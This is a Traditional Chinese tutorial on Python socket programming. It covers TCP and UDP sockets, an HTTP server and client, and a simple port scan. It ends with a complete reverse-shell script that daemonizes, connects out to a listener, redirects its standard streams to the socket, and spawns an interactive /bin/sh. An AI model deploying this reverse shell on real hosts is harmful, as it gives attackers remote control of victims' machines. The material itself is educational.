返回文章列表

Python Socket 程式設計入門與應用

本文深入淺出地介紹了 Python Socket 程式設計的基礎知識,涵蓋 TCP 和 UDP Socket 的建立、使用方法,以及如何利用 Socket 模組構建 HTTP 伺服器和反向 Shell。文章也提供了程式碼範例,並以 Plantuml 圖表輔助說明,讓讀者更容易理解 Socket

網路程式設計 Python

Socket 程式設計是網路應用程式開發的根本,讓不同主機上的程式得以互相通訊。Python 的 socket 模組提供了簡潔易用的 API,方便開發者快速構建網路應用程式。本文除了介紹 Socket 的基本概念、型別和常用方法外,也示範瞭如何使用 socket 模組建立 TCP 和 UDP 客戶端與伺服器,並進一步探討了 HTTP 伺服器和反向 Shell 的實作。透過理解 Socket 的運作原理和 Python socket 模組的應用,開發者能更有效地開發網路相關應用。

Socket Programming 介紹

在本章中,您將學習使用 socket 模組進行 Python 網路基礎建設的相關知識。socket 模組提供了所有必要的方法,能夠快速編寫 TCP 和 UDP 的客戶端和伺服器,用於編寫低階網路應用程式。

Socket 程式設計是一種抽象原則,允許兩個程式透過使用不同網路協定的 API 共用任意資料流,這些協定通常由作業系統支援,存在於網際網路 TCP/IP 堆積疊中。

本章將涵蓋實作 HTTP 伺服器、使用 socket 方法解析 IPS 網域和位址等主題。具體來說,本章將討論以下內容:

  • 在 Python 中介紹 socket
  • 在 Python 中實作 HTTP 伺服器
  • 使用 socket 實作反向 Shell
  • 解析 IPS 網域、位址和管理例外
  • 使用 socket 進行埠掃描
  • 實作簡單的 TCP 客戶端和伺服器
  • 實作簡單的 UDP 客戶端和伺服器

技術需求

為了充分利用本章的內容,您需要具備一些基本的作業系統命令執行知識。同時,您需要在本地機器上安裝 Python 發行版。本章將使用 Python 3.7 版本,可在 www.python.org/downloads 下載。

在 Python 中介紹 Socket

Socket 是允許我們利用作業系統功能與網路互動的主要元件。您可以將 socket 視為客戶端和伺服器之間的點對點通訊通道。

網路 socket 是在同一台機器或不同機器上建立程式之間通訊的簡單方法。socket 的概念與 UNIX 作業系統中檔案描述符的使用非常相似。用於處理檔案的命令,如 read()write(),對處理 socket 的行為也類別似。

網路 socket 的位址由 IP 位址和埠號組成。socket 的目的是在網路上進行程式之間的通訊。

Python 中的網路 Socket

不同實體之間的網路通訊是根據 Python 所開發的經典 socket 概念。一個 socket 由機器的 IP 位址、所監聽的埠以及所使用的協定指定。

在 Python 中建立 socket 是透過 socket.socket() 方法完成的。該方法的一般語法如下:

s = socket.socket(socket_family, socket_type, protocol=0)

上述語法表示位址家族和傳輸層協定。根據通訊型別的不同,socket 分為以下幾類別:

  • TCP socket (socket.SOCK_STREAM)
  • UDP socket (socket.SOCK_DGRAM)

TCP 和 UDP 的主要區別在於,TCP 是導向連線的,而 UDP 是非導向連線的。

Socket 也可以按家族分類別。以下是可用的選項:

  • UNIX socket (socket.AF_UNIX),在網路定義之前建立,根據資料
  • socket.AF_INET socket,用於 IPv4 協定
  • socket.AF_INET6 socket,用於 IPv6 協定

還有另一種 socket 型別——原始 socket。這些 socket 允許我們存取通訊協定,可以使用或不使用第 3 層(網路層)和第 4 層(傳輸層)協定,從而直接存取協定和接收到的資訊。使用這種型別的 socket 將允許我們實作新的協定並修改現有的協定。

原始 Socket

原始 socket 有兩種型別,使用哪一種取決於所需的應用目標和需求:

  • AF_PACKET 家族:AF_PACKET 家族的原始 socket 是最低層的,允許讀取和寫入任何層的協定頭。
  • AF_INET 家族:AF_INET 原始 socket 將鏈路頭的建構委託給作業系統,允許分享操作網路頭。

您可以在 socket 模組檔案中找到更多資訊和範例:https://docs.python.org/3/library/socket.html#socket.SOCK_RAW

現在,我們已經分析了什麼是 socket 及其型別,接下來將介紹 socket 模組及其提供的功能。

使用 Plantuml 圖表說明 Socket 通訊流程

@startuml
note
  無法自動轉換的 Plantuml 圖表
  請手動檢查和調整
@enduml

此圖示說明瞭客戶端和伺服器之間的 Socket 通訊流程,包括建立連線、資料傳輸和關閉連線的步驟。

詳細解說

  1. 建立連線:客戶端傳送 SYN(同步)封包給伺服器,請求建立連線。
  2. 伺服器回應:伺服器收到 SYN 後,回應 SYN-ACK(同步-確認)封包給客戶端。
  3. 客戶端確認:客戶端收到 SYN-ACK 後,傳送 ACK(確認)封包給伺服器,完成連線建立。
  4. 資料傳輸:客戶端和伺服器可以互相傳送資料。
  5. 關閉連線:客戶端傳送 FIN(結束)封包給伺服器,請求關閉連線。
  6. 伺服器回應:伺服器收到 FIN 後,回應 ACK 給客戶端。
  7. 伺服器關閉:伺服器傳送 FIN 給客戶端,通知客戶端連線將被關閉。
  8. 客戶端確認:客戶端收到 FIN 後,回應 ACK 給伺服器,完成連線關閉。

這個流程展示了 TCP 連線的建立、資料傳輸和關閉過程,確保了資料的可靠傳輸。

Python中的Socket程式設計

Socket模組介紹

在Python中,與Socket相關的型別和函式都包含在socket模組中。這個模組提供了建立TCP和UDP客戶端與伺服器所需的所有功能。

Socket的基本概念

在Socket程式設計中,大多數應用程式採用客戶端/伺服器(Client/Server)架構。其中,一個應用程式作為伺服器,另一個應用程式作為客戶端,雙方透過TCP或UDP等協定進行訊息傳遞。

  • 伺服器:等待客戶端連線的應用程式。
  • 客戶端:連線到伺服器的應用程式。

建立Socket物件

在Python中,使用socket類別建構函式來建立一個Socket物件,該函式接受通訊域(family)、Socket型別(type)和協定(protocol)作為引數。典型的建立TCP Socket的方式如下:

socket.socket(socket.AF_INET, socket.SOCK_STREAM)

常用的Socket方法

無論是客戶端還是伺服器,都可以使用以下Socket方法:

  • socket.recv(buflen):接收來自Socket的資料,引數buflen指定了最大可接收的資料量。
  • socket.recvfrom(buflen):接收資料並傳回傳送者的位址。
  • socket.send(bytes):將資料傳送到指定的目標。
  • socket.sendto(data, address):將資料傳送到指定的位址。
  • socket.sendall(data):將緩衝區中的所有資料傳送到Socket。
  • socket.close():釋放記憶體並終止連線。

伺服器端的Socket方法

在客戶端/伺服器架構中,伺服器提供了服務給連線到它的客戶端。以下是伺服器端可以使用的Socket方法:

  • socket.bind(address):將位址與Socket繫結,要求Socket必須在繫結位址之前開啟。
  • socket.listen(count):啟動TCP監聽器,引數count指定了最大可接受的客戶端連線數。
  • socket.accept():接受客戶端的連線,傳回一個包含客戶端Socket和客戶端位址的元組。

範例程式碼:伺服器端Socket方法的使用

import socket

# 建立Socket物件
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 繫結位址和埠號
server_socket.bind(('localhost', 8080))

# 啟動監聽
server_socket.listen(5)

print('伺服器正在監聽...')

while True:
    # 接受客戶端連線
    client_socket, client_address = server_socket.accept()
    print(f'客戶端 {client_address} 已連線')

    # 接收資料
    data = client_socket.recv(1024)
    print(f'接收到資料:{data.decode()}')

    # 傳送回應
    response = 'Hello, Client!'
    client_socket.send(response.encode())

    # 關閉客戶端Socket
    client_socket.close()

客戶端的Socket方法

客戶端可以使用以下Socket方法連線到伺服器:

  • socket.connect(ip_address):將客戶端連線到伺服器的IP位址。
  • socket.connect_ex(ip_address):與connect()方法類別似,但如果無法連線,則傳回錯誤碼。

範例程式碼:使用connect_ex()進行埠掃描

import socket

ip = '127.0.0.1'
portlist = [21, 22, 23, 80]

for port in portlist:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result = sock.connect_ex((ip, port))
    print(f'{port}: {result}')
    sock.close()

範例程式碼:基本客戶端與Socket模組的使用

import socket

# 建立Socket物件
print('建立Socket...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket建立完成')

# 連線到遠端主機
print('連線到遠端主機...')
s.connect(('www.example.com', 80))
print('已連線')

# 傳送資料
request = 'GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n'
s.send(request.encode())

# 接收資料
data = s.recv(1024)
print(f'接收到資料:{data.decode()}')

# 關閉Socket
s.close()

使用Plantuml圖表呈現客戶端/伺服器架構

@startuml
skinparam backgroundColor #FEFEFE
skinparam defaultTextAlignment center
skinparam rectangleBackgroundColor #F5F5F5
skinparam rectangleBorderColor #333333
skinparam arrowColor #333333

title 使用Plantuml圖表呈現客戶端/伺服器架構

rectangle "連線" as node1
rectangle "回應" as node2

node1 --> node2

@enduml

此圖示說明瞭客戶端與伺服器之間的連線和回應流程。

Socket 程式設計:實作 HTTP 伺服器與反向 Shell

簡介

Socket 程式設計是一種網路通訊的方式,允許不同主機之間的程式進行資料交換。本文將介紹如何使用 Python 的 socket 模組實作一個簡單的 HTTP 伺服器和反向 Shell。

實作 HTTP 伺服器

要實作 HTTP 伺服器,我們需要使用 socket 模組建立一個伺服器端程式,監聽特定的埠,並對客戶端的請求做出回應。

建立伺服器端程式

import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mySocket.bind(('localhost', 8080))
mySocket.listen(5)

while True:
    print('等待連線...')
    (recvSocket, address) = mySocket.accept()
    print('收到 HTTP 請求:')
    print(recvSocket.recv(1024))
    recvSocket.send(bytes("HTTP/1.1 200 OK\r\n\r\n<html><body><h1>Hello World!</h1></body></html>\r\n", 'utf-8'))
    recvSocket.close()

程式碼解析:

  • socket.socket(socket.AF_INET, socket.SOCK_STREAM):建立一個 TCP socket。
  • mySocket.bind(('localhost', 8080)):將 socket 繫結到本地主機的 8080 埠。
  • mySocket.listen(5):開始監聽連線請求,最大排隊數為 5。
  • mySocket.accept():接受客戶端的連線請求。
  • recvSocket.recv(1024):接收客戶端傳送的資料。
  • recvSocket.send():向客戶端傳送資料。

測試 HTTP 伺服器

要測試 HTTP 伺服器,我們可以建立一個客戶端程式,連線到伺服器並傳送 HTTP 請求。

建立客戶端程式

import socket

webhost = 'localhost'
webport = 8080

print("連線到 %s:%d ..." % (webhost, webport))
webclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
webclient.connect((webhost, webport))
webclient.send(bytes("GET / HTTP/1.1\r\nHost: localhost\r\n\r\n", 'utf-8'))
reply = webclient.recv(4096)
print("收到回應:")
print(reply.decode())

程式碼解析:

  • webclient.connect((webhost, webport)):連線到伺服器。
  • webclient.send():傳送 HTTP 請求。
  • webclient.recv(4096):接收伺服器的回應。

實作反向 Shell

反向 Shell 是一種特殊的 shell,可以讓攻擊者遠端控制受害者的主機。

建立反向 Shell 程式

import socket
import subprocess
import os

socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    if os.fork() > 0:
        os._exit(0)
except OSError as error:
    print('錯誤:%d (%s)' % (error.errno, error.strerror))

socket_handler.connect(("127.0.0.1", 45679))
os.dup2(socket_handler.fileno(), 0)
os.dup2(socket_handler.fileno(), 1)
os.dup2(socket_handler.fileno(), 2)
shell_remote = subprocess.call(["/bin/sh", "-i"])

程式碼解析:

  • socket_handler.connect(("127.0.0.1", 45679)):連線到指定的 IP 位址和埠。
  • os.dup2(socket_handler.fileno(), 0/1/2):將 socket 的檔案描述符複製到標準輸入/輸出/錯誤。
  • subprocess.call(["/bin/sh", "-i"]):啟動一個互動式的 shell。